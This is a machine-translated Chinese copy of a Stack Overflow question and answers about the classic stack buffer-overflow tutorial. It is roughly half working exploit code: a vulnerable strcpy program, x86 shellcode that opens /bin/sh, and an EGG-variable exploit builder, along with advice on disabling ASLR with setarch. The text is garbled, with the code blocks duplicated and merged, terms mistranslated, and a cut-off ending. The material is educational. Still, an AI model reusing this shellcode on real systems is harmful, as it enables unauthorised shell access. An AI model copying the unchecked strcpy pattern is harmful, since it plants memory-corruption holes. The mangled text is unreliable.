C 您能解释一下在查找缓冲区溢出可能性时查找缓冲区偏移量的方法吗
我在看。下面的代码也可以在那里找到 我们有一个易受攻击的可执行文件,其代码是: 易受攻击的.cC 您能解释一下在查找缓冲区溢出可能性时查找缓冲区偏移量的方法吗,c,stack-overflow,reverse-engineering,buffer-overflow,shellcode,C,Stack Overflow,Reverse Engineering,Buffer Overflow,Shellcode,我在看。下面的代码也可以在那里找到 我们有一个易受攻击的可执行文件,其代码是: 易受攻击的.c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_S
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] = //this shellcode merely opens a shell
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
现在,由于我们不知道,当试图攻击该可执行文件时(通过溢出缓冲区
),缓冲区的地址是什么。我们需要知道它的地址,因为我们想覆盖ret
以指向缓冲区的开头(我们在缓冲区中放置外壳代码)
文章中描述的猜测过程如下:
我们可以创建一个以缓冲区大小作为参数的程序
它自身堆栈指针的偏移量(我们认为缓冲区
想溢可以活)。我们将把溢出字符串放入
环境变量,便于操作:
2.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] = //this shellcode merely opens a shell
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
我不明白作者想表达什么,在explot2.c
中,我们猜测vulnerable.c
中缓冲区的大小,以及它与堆栈指针的偏移量
- 为什么要在
2
的堆栈指针上应用此偏移量李>
- 这对易受攻击的
有何影响李>
- 除了构建
EGG
环境变量之外,exploit2.c
的目的是什么
- 为什么我们要调用
系统(“/bin/bash”)代码>在最后
- 一般来说,
易受攻击
和利用漏洞2
之间发生了什么
漏洞利用2的唯一目的是构建egg变量,该变量需要作为参数传递给vulnerable
。可以对其进行修改,以便单独调用易受攻击的
shellcode
变量包含调用shell的函数的机器代码。目标是将此代码复制到脆弱
的缓冲区
变量中,然后覆盖脆弱
的主
函数的返回地址,以指向外壳代码的入口点,即变量缓冲区
的地址。堆栈向下增长:堆栈指针寄存器(esp
在32位x86体系结构中)包含当前函数的局部变量使用的最小地址,在较高的地址中,我们找到其他局部变量,然后是当前执行函数的返回地址,然后是被调用方的变量,依此类推。变量上的溢出写入,例如vulnerable
中的buffer
,将覆盖内存中buffer
之后的任何内容,在这种情况下,将覆盖main
的返回地址,因为buffer
是main
函数的局部变量
现在我们知道该做什么了,我们需要一些信息:
buffer
变量的地址,我们称之为bp
main
函数返回地址的地址,我们称之为ra
如果我们有这些信息,我们可以伪造一个漏洞字符串EGG
,以便:
- 其长度为
ra-bp+sizeof(void*)
以使字符串缓冲区溢出,足以覆盖返回地址(sizeof(void*
是返回地址的大小)
- 它包含要在开头执行的利用漏洞代码,以及结尾的地址
bp
请注意,我们只需要粗略猜测字符串的长度,因为我们可以使字符串变长,并在整个字符串上不断重复地址bp
,但如果希望外壳代码正确执行,我们需要计算准确的bp
地址
我们首先猜测覆盖返回值所需的字符串长度:600就足够了,因为它会触发非法指令
错误。一旦找到它,我们就可以查找bp
地址
我们知道bp
位于堆栈的底部,因为这是存储局部变量的地方。我们假设堆栈的地址在vulnerable
和OPILIT2
中是相同的,我们在OPILIT2
中测量堆栈地址,并开始四处修改偏移量右偏移量(导致addr
等于目标bp
)当控制流从的主功能返回时,将执行外壳代码
如果要测试此代码,请记住,这在现代计算机中不起作用,因为操作系统使用执行预防技术将包含数据的页面标记为不可执行。1。我可以通过使用setarch'uname-m'-R/bin/bash
打开一个shell来禁用ASLR,并通过使数据为segm>来测试此代码使用易受攻击的可执行文件禁用DEP(有工具可以启用它)。2.您知道最后一行系统(“/bin/bash”)的用途吗;
?为什么我们需要在利用漏洞打开的shell中运行vulnerable?2.这是因为putenv
修改当前进程和子进程的环境(在本例中,是由系统打开的进程),因此您需要在那里运行vulnerable
,以便定义EGG
变量。您也可以让利用漏洞
打印字符串并手动复制粘贴,但您必须注意转义4。此攻击假定未部署ASLR。现在,当漏洞时,此猜测过程是否相关le
正在我的机器上运行?(我想不是,因为在这种情况下,我可以调试它,并查看缓冲区的确切地址)。情况是什么?可能我是管理员运行易受攻击的
机器的用户(而不是管理员)?或者